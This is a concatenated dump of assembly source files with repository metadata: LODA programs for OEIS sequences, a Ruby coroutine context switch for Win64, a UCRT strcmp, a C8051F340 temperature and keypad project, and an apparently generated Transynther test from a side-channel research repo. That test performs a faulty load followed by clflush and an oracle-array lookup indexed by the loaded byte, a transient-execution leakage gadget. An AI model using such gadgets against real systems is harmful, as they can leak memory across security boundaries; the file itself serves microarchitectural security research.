; A021431: Decimal expansion of 1/427.
; Submitted by Jamie Morken(m2)
; 0,0,2,3,4,1,9,2,0,3,7,4,7,0,7,2,5,9,9,5,3,1,6,1,5,9,2,5,0,5,8,5,4,8,0,0,9,3,6,7,6,8,1,4,9,8,8,2,9,0,3,9,8,1,2,6,4,6,3,7,0,0,2,3,4,1,9,2,0,3,7,4,7,0,7,2,5,9,9,5,3,1,6,1,5,9,2,5,0,5,8,5,4,8,0,0,9,3,6
seq $0,83811 ; Numbers n such that 2n+1 is the digit reversal of n+1.
div $0,1708
mod $0,10
| 45.5
| 199
| 0.593407
|
fc7db6e5cb0b3de6e73742ca59b33f1af231dd04
| 361
|
asm
|
Assembly
|
programs/oeis/340/A340479.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/340/A340479.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/340/A340479.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A340479: a(n) = R(n) + digsum(n).
; 0,2,4,6,8,10,12,14,16,18,2,13,24,35,46,57,68,79,90,101,4,15,26,37,48,59,70,81,92,103,6,17,28,39,50,61,72,83,94,105,8,19,30,41,52,63,74,85,96,107,10,21,32,43,54,65,76,87,98,109,12,23,34,45,56,67,78,89
seq $0,4086 ; Read n backwards (referred to as R(n) in many sequences).
seq $0,62028 ; a(n) = n + sum of the digits of n.
| 60.166667
| 201
| 0.637119
|
59673ffa3eb32403bcd7aee1c9bcc0b427a23a80
| 1,515
|
asm
|
Assembly
|
ruby/coroutine/win64/Context.asm
|
bkmgit/ruby-packer
|
8ca9c6785f9d9f389754514de2d4626df6713533
|
[
"MIT"
] | 2,793
|
2019-07-28T02:15:11.000Z
|
2022-03-30T02:52:20.000Z
|
ruby/coroutine/win64/Context.asm
|
bkmgit/ruby-packer
|
8ca9c6785f9d9f389754514de2d4626df6713533
|
[
"MIT"
] | 821
|
2019-07-28T13:31:29.000Z
|
2022-03-31T23:03:47.000Z
|
ruby/coroutine/win64/Context.asm
|
bkmgit/ruby-packer
|
8ca9c6785f9d9f389754514de2d4626df6713533
|
[
"MIT"
] | 112
|
2019-08-01T17:27:07.000Z
|
2022-03-24T18:55:01.000Z
|
;;
;; This file is part of the "Coroutine" project and released under the MIT License.
;;
;; Created by Samuel Williams on 10/5/2018.
;; Copyright, 2018, by Samuel Williams. All rights reserved.
;;
.code
coroutine_transfer proc
; Save the thread information block:
push qword ptr gs:[8]
push qword ptr gs:[16]
; Save caller registers:
push rbp
push rbx
push rdi
push rsi
push r12
push r13
push r14
push r15
movaps [rsp - 24], xmm6
movaps [rsp - 40], xmm7
movaps [rsp - 56], xmm8
movaps [rsp - 72], xmm9
movaps [rsp - 88], xmm10
movaps [rsp - 104], xmm11
movaps [rsp - 120], xmm12
movaps [rsp - 136], xmm13
movaps [rsp - 152], xmm14
movaps [rsp - 168], xmm15
; Save caller stack pointer:
mov [rcx], rsp
; Restore callee stack pointer:
mov rsp, [rdx]
movaps xmm15, [rsp - 168]
movaps xmm14, [rsp - 152]
movaps xmm13, [rsp - 136]
movaps xmm12, [rsp - 120]
movaps xmm11, [rsp - 104]
movaps xmm10, [rsp - 88]
movaps xmm9, [rsp - 72]
movaps xmm8, [rsp - 56]
movaps xmm7, [rsp - 40]
movaps xmm6, [rsp - 24]
; Restore callee stack:
pop r15
pop r14
pop r13
pop r12
pop rsi
pop rdi
pop rbx
pop rbp
; Restore the thread information block:
pop qword ptr gs:[16]
pop qword ptr gs:[8]
; Put the first argument into the return value:
mov rax, rcx
; We pop the return address and jump to it:
ret
coroutine_transfer endp
coroutine_trampoline proc
; Do not remove this. This forces 16-byte alignment when entering the coroutine.
ret
coroutine_trampoline endp
end
| 18.9375
| 84
| 0.685149
|
8768a897b6a0b6b05368106625e890e691b7279a
| 1,158
|
asm
|
Assembly
|
programs/oeis/219/A219529.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/219/A219529.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/219/A219529.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A219529: Coordination sequence for 3.3.4.3.4 Archimedean tiling.
; 1,5,11,16,21,27,32,37,43,48,53,59,64,69,75,80,85,91,96,101,107,112,117,123,128,133,139,144,149,155,160,165,171,176,181,187,192,197,203,208,213,219,224,229,235,240,245,251,256,261,267,272,277,283,288,293,299,304,309,315,320,325,331,336,341,347,352,357,363,368,373,379,384,389,395,400,405,411,416,421,427,432,437,443,448,453,459,464,469,475,480,485,491,496,501,507,512,517,523,528,533,539,544,549,555,560,565,571,576,581,587,592,597,603,608,613,619,624,629,635,640,645,651,656,661,667,672,677,683,688,693,699,704,709,715,720,725,731,736,741,747,752,757,763,768,773,779,784,789,795,800,805,811,816,821,827,832,837,843,848,853,859,864,869,875,880,885,891,896,901,907,912,917,923,928,933,939,944,949,955,960,965,971,976,981,987,992,997,1003,1008,1013,1019,1024,1029,1035,1040,1045,1051,1056,1061,1067,1072,1077,1083,1088,1093,1099,1104,1109,1115,1120,1125,1131,1136,1141,1147,1152,1157,1163,1168,1173,1179,1184,1189,1195,1200,1205,1211,1216,1221,1227,1232,1237,1243,1248,1253,1259,1264,1269,1275,1280,1285,1291,1296,1301,1307,1312,1317,1323,1328
mul $0,16
sub $0,2
div $0,3
mov $1,$0
add $1,1
| 128.666667
| 1,042
| 0.750432
|
e446055466c3efcf12d367f3d54d8e3881c00ce3
| 366
|
asm
|
Assembly
|
programs/oeis/011/A011664.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/011/A011664.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/011/A011664.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
; A011664: A binary m-sequence: expansion of reciprocal of x^5+x^3+1.
; 0,0,0,0,1,0,0,1,0,1,1,0,0,1,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,1,0,1,1,0,0,1,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,1,0,1,1,0,0,1,1,1,1,1,0
sub $0,749
cal $0,11662 ; A binary m-sequence: expansion of reciprocal of x^5 + x^2 + 1.
add $0,1
mov $1,$0
pow $1,15
div $1,32767
| 36.6
| 163
| 0.592896
|
47b3a5f8b6678dee06c3c0a5357f60e46f6b114b
| 4,052
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xca.log_21829_93.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xca.log_21829_93.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xca.log_21829_93.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r15
push %rcx
push %rdi
lea addresses_WC_ht+0xa9ac, %rdi
nop
nop
nop
sub %r15, %r15
mov $0x6162636465666768, %rcx
movq %rcx, %xmm0
movups %xmm0, (%rdi)
nop
nop
nop
nop
nop
add $18981, %rdi
pop %rdi
pop %rcx
pop %r15
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r13
push %rbp
push %rbx
// Faulty Load
lea addresses_WC+0x18d7c, %rbx
clflush (%rbx)
nop
nop
nop
nop
nop
xor $25713, %r13
movb (%rbx), %r11b
lea oracles, %r13
and $0xff, %r11
shlq $12, %r11
mov (%r13,%r11,1), %r11
pop %rbx
pop %rbp
pop %r13
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_WC', 'same': False, 'AVXalign': False, 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_WC', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 3}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 62.338462
| 2,999
| 0.664116
|
91ae47fd5916fcef9a6e28cd67167b3cbad05c58
| 3,304
|
asm
|
Assembly
|
Source/10.0.18362.0/ucrt/string/amd64/strcmp.asm
|
825126369/UCRT
|
8853304fdc2a5c216658d08b6dbbe716aa2a7b1f
|
[
"MIT"
] | 2
|
2021-01-27T10:19:30.000Z
|
2021-02-09T06:24:30.000Z
|
Source/10.0.18362.0/ucrt/string/amd64/strcmp.asm
|
825126369/UCRT
|
8853304fdc2a5c216658d08b6dbbe716aa2a7b1f
|
[
"MIT"
] | null | null | null |
Source/10.0.18362.0/ucrt/string/amd64/strcmp.asm
|
825126369/UCRT
|
8853304fdc2a5c216658d08b6dbbe716aa2a7b1f
|
[
"MIT"
] | 1
|
2021-01-27T10:19:36.000Z
|
2021-01-27T10:19:36.000Z
|
page ,132
title strcmp.asm - compare two strings
;***
;strcmp.asm - routine to compare two strings (for equal, less, or greater)
;
; Copyright (c) Microsoft Corporation. All rights reserved.
;
;Purpose:
; STRCMP compares two strings and returns an integer
; to indicate whether the first is less than the second, the two are
; equal, or whether the first is greater than the second, respectively.
; Comparison is done byte by byte on an UNSIGNED basis, which is to
; say that Null (0) is less than any other character (1-255).
;
;*******************************************************************************
include ksamd64.inc
subttl "strcmp"
;***
;strcmp - compare two strings, returning less than, equal to, or greater than
;
;Purpose:
; Compares two string, determining their ordinal order. Unsigned
; comparison is used.
;
; Algorithm:
; int strcmp ( src , dst )
; unsigned char *src;
; unsigned char *dst;
; {
; int ret = 0 ;
;
; while( ! (ret = *src - *dst) && *dst)
; ++src, ++dst;
;
; if ( ret < 0 )
; ret = -1 ;
; else if ( ret > 0 )
; ret = 1 ;
;
; return( ret );
; }
;
;Entry:
; const char * src - string for left-hand side of comparison
; const char * dst - string for right-hand side of comparison
;
;Exit:
; AX < 0, 0, or >0, indicating whether the first string is
; Less than, Equal to, or Greater than the second string.
;
;Uses:
; CX, DX
;
;Exceptions:
;
;*******************************************************************************
CHAR_TYPE EQU BYTE
CHAR_PTR EQU BYTE PTR
CHAR_SIZE = sizeof CHAR_TYPE
BLK_TYPE EQU QWORD
BLK_PTR EQU QWORD PTR
BLK_SIZE = sizeof BLK_TYPE
;PAGE_SIZE = 1000h
PAGE_MASK = PAGE_SIZE - 1 ; mask for offset in MM page
PAGE_SAFE_BLK = PAGE_SIZE - BLK_SIZE ; maximum offset for safe block compare
LEAF_ENTRY_ARG2 strcmp, _TEXT, str1:ptr byte, str2:ptr byte
OPTION PROLOGUE:NONE, EPILOGUE:NONE
; rcx = src
; rdx = dst
sub rdx, rcx
test cl, (BLK_SIZE - 1)
jz qword_loop_enter
comp_head_loop_begin:
movzx eax, CHAR_PTR[rcx]
cmp al, CHAR_PTR[rdx+rcx]
jnz return_not_equal
inc rcx
test al, al
jz return_equal
test cl, (BLK_SIZE - 1)
jnz comp_head_loop_begin
qword_loop_enter:
mov r11, 8080808080808080h
mov r10, 0fefefefefefefeffh
qword_loop_begin:
lea eax, [edx+ecx]
and eax, PAGE_MASK
cmp eax, PAGE_SAFE_BLK
ja comp_head_loop_begin
mov rax, BLK_PTR[rcx]
cmp rax, BLK_PTR[rdx+rcx]
; mismatched string (or maybe null + garbage after)
jne comp_head_loop_begin
; look for null terminator
lea r9, [rax + r10]
not rax
add rcx, BLK_SIZE
and rax, r9
test rax, r11 ; r11=8080808080808080h
jz qword_loop_begin
return_equal:
xor eax, eax ; gets all 64 bits
ret
return_not_equal:
sbb rax, rax ; AX=-1, CY=1 AX=0, CY=0
or rax, 1
ret
LEAF_END strcmp, _TEXT
end
| 25.221374
| 80
| 0.556901
|
7ae4d0963f2d7b848d1f955f7d22e6a3314616c1
| 20,218
|
asm
|
Assembly
|
SOURCE/allProjects/tempSensorAssembly/Juan's Project.asm
|
llanesjuan/AllMyProjects
|
5944b248ae8f4f84cfea9fcf379f877909372551
|
[
"MIT"
] | null | null | null |
SOURCE/allProjects/tempSensorAssembly/Juan's Project.asm
|
llanesjuan/AllMyProjects
|
5944b248ae8f4f84cfea9fcf379f877909372551
|
[
"MIT"
] | null | null | null |
SOURCE/allProjects/tempSensorAssembly/Juan's Project.asm
|
llanesjuan/AllMyProjects
|
5944b248ae8f4f84cfea9fcf379f877909372551
|
[
"MIT"
] | null | null | null |
$NOMOD51
$NOSYMBOLS
;*****************************************************************************
; Fall 2012 Project
;
; FILE NAME : Project.ASM
; DATE : 10/28/2012
; TARGET MCU : C8051F340
; DESCRIPTION : Starter Code to measure the external temperature using the
; LM35DZ temperature sensor connected to P1.1 of the
; C851F340. It initializes the cross bar, I/O and ADC0.
; The ACALL to Measure_Temp returns a 10-bit right justified
; value in the DPTR representing the external temperature in Degree Celcius.
; The internal Voltage Reference is utilized so that the temperature
; can be determined from the following equation:
;
; Degree C= ((DPTR(base 10) * (2.44V/1024))/10mV/c)
;
; Not all 1024 values are required so a small table can be
; used with an offset to determine values from 0 to 99 degrees F.
; Use a lookup table as it is far easier than trying to
; implement the formula in code, convert to degrees F and then
; convert to LCD format encoding.
;
;
;
;*****************************************************************************
$NOLIST ; stops listing of the include file
$INCLUDE (C8051F340.inc)
$LIST ; restarts listing
;*****************************************************************************
; EQUATES TABLE
;*****************************************************************************
ENABLE EQU P1.4 ; Enable signal to LCD
RW EQU P1.2 ;R/W signal to LCD.
RS EQU P1.3 ; RS signal to LCD
LCD EQU P0 ; Output port to LCD.
keyport equ P2 ; Keypad port connected here
row1 equ P2.0 ; Row 1 (pin 8)
row2 equ P2.1 ; Row 2 (pin 1)
row3 equ P2.2 ; Row 3 (pin 2)
row4 equ P2.3 ; Row 4 (pin 4)
col1 equ P2.4 ; Column 1 (pin 3)
col2 equ P2.5 ; Column 2 (pin 5)
col3 equ P2.6 ; Column 3 (pin 6)
col4 equ P2.7 ; Column 4 (pin 7)
Green equ P1.7 ; GREEN LED output.
Ambient equ 40H ; AMBIENT temp RAM address.
;*****************************************************************************
; RESET AND INTERRUPT VECTOR TABLE
;*****************************************************************************
ORG 0000H ; code starts at the reset vector address
LJMP Main
;*****************************************************************************
; MAIN PROGRAM CODE
;*****************************************************************************
ORG 0030H ; Main starts above the vector addresses
Main: ANL PCA0MD, #0BFH ; disables watchdog timer
MOV OSCICN,#83H
MOV P1MDIN, #0DDH ; P1.1 and P1.5 set to Analog I/O
MOV P1MDOUT, #0DDH ; P1.1 & P1.5 Open-Drain; The rest are Push-Pull
MOV P1SKIP, #22H ; Skips I/O P1.1 and P1.5 in crossbar
mov P0MDOUT, #0FFh ; Makes all P0 push-pull outputs.
mov XBR1, #40h ; Configures cross-bar for outputs.
CALL Init
MOV RSTSRC, #04H ; Missing clock detector is enabled
ACALL ADC0_Init ; calls the ADC initalization routine
SETB AD0EN ; enables AD0
mov 30h,#01h
mov 31h,#02h
MOV 32H,#03H
mov 33H,#04H
MOV 34H,#05H
MOV 35H,#06H
MOV 36H, #07H
MOV 20H ,#00H
MOV 21H,#00H
MOV 22H,#00H
MOV 23H,#00H
MOV 24H,#00H
MOV 25H,#00H
MOV 26H,#00H
MOV 27H,#00H
MOV R6,#01H
MOV R7,#01H
CLR 00H
CLR 01H
MOV 20H,#00H
MOV R5,#01H
MOV R1, #20H
MOV R4, #20H; INITIAL MEMORY ADDRESS TO STORE KEY ENTRY
MOV R7,#03H
jmp start
;******************************************************************************************************************
;********************************************************
start: JB F1, CONT
;*******************************************
CALL clear
MOV DPTR, #00H
ACALL Measure_Temp ; Returns the temperature in the DPTR. Now DPTR has the 10-bit right justified value for temperature.
; MOV DPTR, #79H
JMP NH
EXTRA: MOV A,00H ; IN USE W/WS FROM F3
MOV B,#64
DIV AB
MOV B,#29
MUL AB
ADD A, #49
JMP COMM
NH: MOV B,#0F4H; 244
MOV A,DPL; ???????
MUL AB; mult x 244
MOV A,B
RR A
RR A
ANL A,#3FH
mov B, #09h; i have in A temp in celsius
MUL AB; temp X9
XCH A,B
JZ MANOR ; IF # USE JUST DPLOW GO TO MANOR
XCH A,B ; DP hight has a value
DJNZ B,EXTRA ; CHECKING IF B > 1 IF
JMP M
MANOR: mov A,B;
ADD A,#3
MOV B,#5
DIV AB
ADD A,#20H
jmp MENOS2
M: MOV B,#5H ; WORKS W/ #s from 7D TO EF
DIV AB
ADD A,#55H
COMM: MOV B,#100
DIV AB
JZ MENOS
ADD A,#30h
CALL clear
CALL display
MENOS: MOV A,B
MENOS2: MOV B,#10
DIV AB
add A,#30H
CALL display
EX: MOV A,B
ADD A,#30H
CALL display
CALL clear
;******************************************************************
CONT:
MOV R0, #0 ; clear R0 - the first key is key0
; scan row1
SETB row4 ; set row4
CLR row1 ; clear row1
CALL colScan ; call column-scan subroutine
JB F0, finish ; | if F0 is set, jump to end of program
; | (because the pressed key was found
; | and its number is in R0)
; scan row2
SETB row1 ; set row1
CLR row2 ; clear row2
CALL colScan ; call column-scan subroutine
JB F0, finish ; | if F0 is set, jump to end of program
; | (because the pressed key was found
; | and its number is in R0)
; scan row3
SETB row2 ; set row2
CLR row3 ; clear row3
CALL colScan ; call column-scan subroutine
JB F0, finish ; | if F0 is set, jump to end of program
; | (because the pressed key was found
; | and its number is in R0)
; scan row4
SETB row3 ; set row3
CLR row4 ; clear row4
CALL colScan ; call column-scan subroutine
JB F0, finish ; | if F0 is set, jump to end of program
; | (because the pressed key was found
; | and its number is in R0)
JMP start ; | go back to scan row 1
; | (this is why row4 is set at the
; | start of the program - when the
; | program jumps back to start, row4
; | has just been scanned)
finish:
TWO: MOV DPTR, #Table1 ; Initialize Data Pointer
mov A, R0
MOVC A, @A + DPTR
MOV @R1, A
inc R1
; CJNE R1,#27H,NEXT
;JMP COMP
NEXT: ; MOV A,#2AH
start2: cjne R2, #16, next35
mov R2,#0
mov R3, #0
call clear
next35: CALL display
CLR F0 ; clear flag
CJNE R1,#27H,NEXT
JMP COMP
JMP start ; Continue looking for next key
COMP: JMP $
;*****************************************************************************
;*****************************************************************************
colScan: JB col1, nextcol ; check if col1 key is pressed
JNB col1, $ ; If yes, then wait for key release
JMP gotkey ; Have key, return
nextcol: INC R0 ; Increment keyvalue
JB col2, nextcol2 ; check if col2 key is pressed
JNB col2, $ ; If yes, then wait for key release
JMP gotkey ; Have key, return
nextcol2: INC R0 ; Increment keyvalue
JB col3, nextcol3 ; check if col3 key is pressed
JNB col3, $ ; If yes, then wait for key release
JMP gotkey ; Have key, return
nextcol3: INC R0 ; Increment keyvalue
JB col4, nokey ; check if col4 key is pressed
JNB col4, $ ; If yes, then wait for key release
JMP gotkey ; Have key, return
nokey: INC R0 ; Increment keyvalue
RET ; finished scan, no key pressed
gotKey: SETB F0 ; key found - set F0
SETB 00H ; DO NOT GET TEMP
SETB F1 ; this flag used to stop showing temperature
RET ; and return from subroutine
;*****************************************************************************
;********************************************************************************
;this is my personal delay
mov R5,#5
dem: mov R4,#15
myDelay: mov R6, #00h
myLoop: mov R5, #00h
djnz R5, $
djnz R6, myLoop
djnz R4,myDelay
ret
;*******************************************************************************************
;*****************************************************************************
init: CLR RS ; Register Select ( 0 = Command )
CLR RW ; Read/Write ( 1 = Read ; 0 = Write )
clr ENABLE ; High to Low Transition Stores the data
call delay ; Waits for LCD to stabilize
call reset ; Sends reset bytes to LCD
; E X R R D D D D D D D D
; | | S W 7 6 5 4 3 2 1 0
; | | | | | | | | | | | |
mov LCD, #38H ; 1 0 0 0 0 0 1 1 1 0 0 0 Function Set Word
;
call Busy ; Check Busy Flag
setb ENABLE ; Latched the first byte.
call delay ; Waits.
clr ENABLE ; Then resets latch.
call busy ; Check Busy Flag
; E X R R D D D D D D D D
; | | S W 7 6 5 4 3 2 1 0
; | | | | | | | | | | | |
mov LCD, #08H ; 1 0 0 0 0 0 0 0 1 0 0 0 Display Off word
call Busy ; Check Busy Flag
setb ENABLE ; Latched the first byte.
call delay ; Waits.
clr ENABLE ; Then resets latch.
call Busy ; Check Busy Flag
; E X R R D D D D D D D D
; | | S W 7 6 5 4 3 2 1 0
; | | | | | | | | | | | |
mov LCD, #0FH ; 1 0 0 0 0 0 0 0 1 1 1 1 Display On word.
call Busy ; Check Busy Flag
setb ENABLE ; Latched the first byte.
call delay ; Waits.
clr ENABLE ; Then resets latch
call Busy ; Check Busy Flag
; E X R R D D D D D D D D
; | | S W 7 6 5 4 3 2 1 0
; | | | | | | | | | | | |
mov LCD, #06H ; 1 0 0 0 0 0 0 0 0 1 1 0 Entry Mode word
call Busy ; Check Busy Flag
setb ENABLE ; Latched the first byte.
call delay ; Waits.
clr ENABLE ; Then resets latch.
call Busy ; Check Busy Flag
; E X R R D D D D D D D D
; | | S W 7 6 5 4 3 2 1 0
; | | | | | | | | | | | |
mov LCD, #02H ; 1 0 0 0 0 0 0 0 0 0 1 0 Display Home word
call Busy ; Check Busy Flag
setb ENABLE ; Latched the first byte.
call delay ; Waits.
clr ENABLE ; Then resets latch.
call Busy ; Check Busy Flag
ret
;*****************************************************************************
;*****************************************************************************
clear: ; E X R R D D D D D D D D
; | | S W 7 6 5 4 3 2 1 0
; | | | | | | | | | | | |
mov LCD, #01H ; 1 0 0 0 0 0 0 0 0 0 0 1 Clear Display word
call Busy ; Check Busy Flag
setb ENABLE ; Latched the first byte.
call delay ; Waits.
clr ENABLE ; Then resets latch
ret
;*****************************************************************************
;*****************************************************************************
display: ; The data to be sent is in A.
setb RS ; Register Select ( 1 = Data )
mov LCD, A ; Sends data to LCD
setb ENABLE ; Latches the data.
call delay ; Waits.
clr ENABLE ; Then resets the latch.
inc R2
inc R3 ; R3 is used to keep track of LCD DDRAM.
; After an ASCII char is sent, R3 is
; incremented.
cjne R3, #8, next2 ; If R3=8 then the second line is used.
call secondline
next2: cjne R3, #16, next3 ; If R3=16 then the LCD will need to
mov R3, #0 ; R3 is cleared.
call clear ; This clears the LCD and resets the
; DDRAM to 0.
next3: ret
;*****************************************************************************
;*****************************************************************************
secondline: push ACC ; Saves ACC to stack.
push DPH ; Saves
push DPL ; DPTR to stack.
clr RS
mov LCD, #0C0H ; Moves Second Line word
setb ENABLE ; Latched the first byte.
call delay ; Waits.
clr ENABLE ; Then resets latch.
call Delay
setb RS
pop DPL ; Restores
pop DPH ; DPTR.
pop ACC ; Restores ACC.
ret
;*****************************************************************************
delay: mov R6, #00h
Loop0: mov R5, #00h
djnz R5, $
djnz R6, Loop0
ret
reset: call delay
mov LCD, #30H ; Writes Function Set.
setb ENABLE ; Latches Instruction.
call delay ; Waits.
clr ENABLE ; Then resets latch.
call Busy ; Check Busy Flag delay
mov LCD, #30H ; Writes Function Set.
setb ENABLE ; Latches Instruction.
call delay ; Waits.
clr ENABLE ; Then resets the latch.
call Busy ; Check Busy Flagdelay
mov LCD, #30H ; Writes Function Set.
setb ENABLE ; Latches Instruction
call delay ; Waits
clr Enable ; Then resets the latch
call Busy ; Check Busy Flag
ret
;****************************************************************************
Busy: clr RS
setb RW
jb P0.7, $
clr RW
ret
;
;*****************************************************************************
ADC0_Init: MOV ADC0CN, #80H ; conversion initiated on every
; write of "1" to AD0BUSY
MOV AMX0P, #1EH ; select Positive input on P1.1 VALUE = #13 FOR EXT TEMP VALUE = #1E FOR INT
MOV AMX0N, #1FH ; select ground (single-ended mode)
MOV ADC0CF, #00001000B ; 00001000B
; 1>sets ADC conversioin clock (750kHz)
; 0> ADC0H:ADC0L is right justified
;
MOV REF0CN, #00000011B ; 00000011B
; 0> Vref used as voltage ref
; 0> internal temp sensor off
; 1> internal bias gen on
; 1> internal reference buffer enabled
ANL EIE1, #0F7H ; disable ADC0 conversion
; complete interrupt
RET
;*****************************************************************************
Measure_Temp:
CLR AD0INT ; clears conversion completion flag
SETB AD0BUSY ; initiates AD0 conversion
JNB AD0INT,$ ; waits for conversion to complete
MOV DPL,ADC0L ; stores temperature (word) in
MOV DPH,ADC0H ; DPTR
RET
;*****************************************************************************
; CONSTANTS
;*****************************************************************************
Table: DB '*','*','*','*','*','*','*'
Table2: DB '*','*','*','*','*','*','*'
Table1: DB '1','2','3','A','4','5','6','B','7','8','9','C','*','0','#','D'
;*****************************************************************************
; End of file.
END
| 39.106383
| 133
| 0.34682
|
6c0a84a534ab08d5c7e37eabc2ac34ac66c7412f
| 408
|
asm
|
Assembly
|
oeis/242/A242123.asm
|
neoneye/loda-programs
|
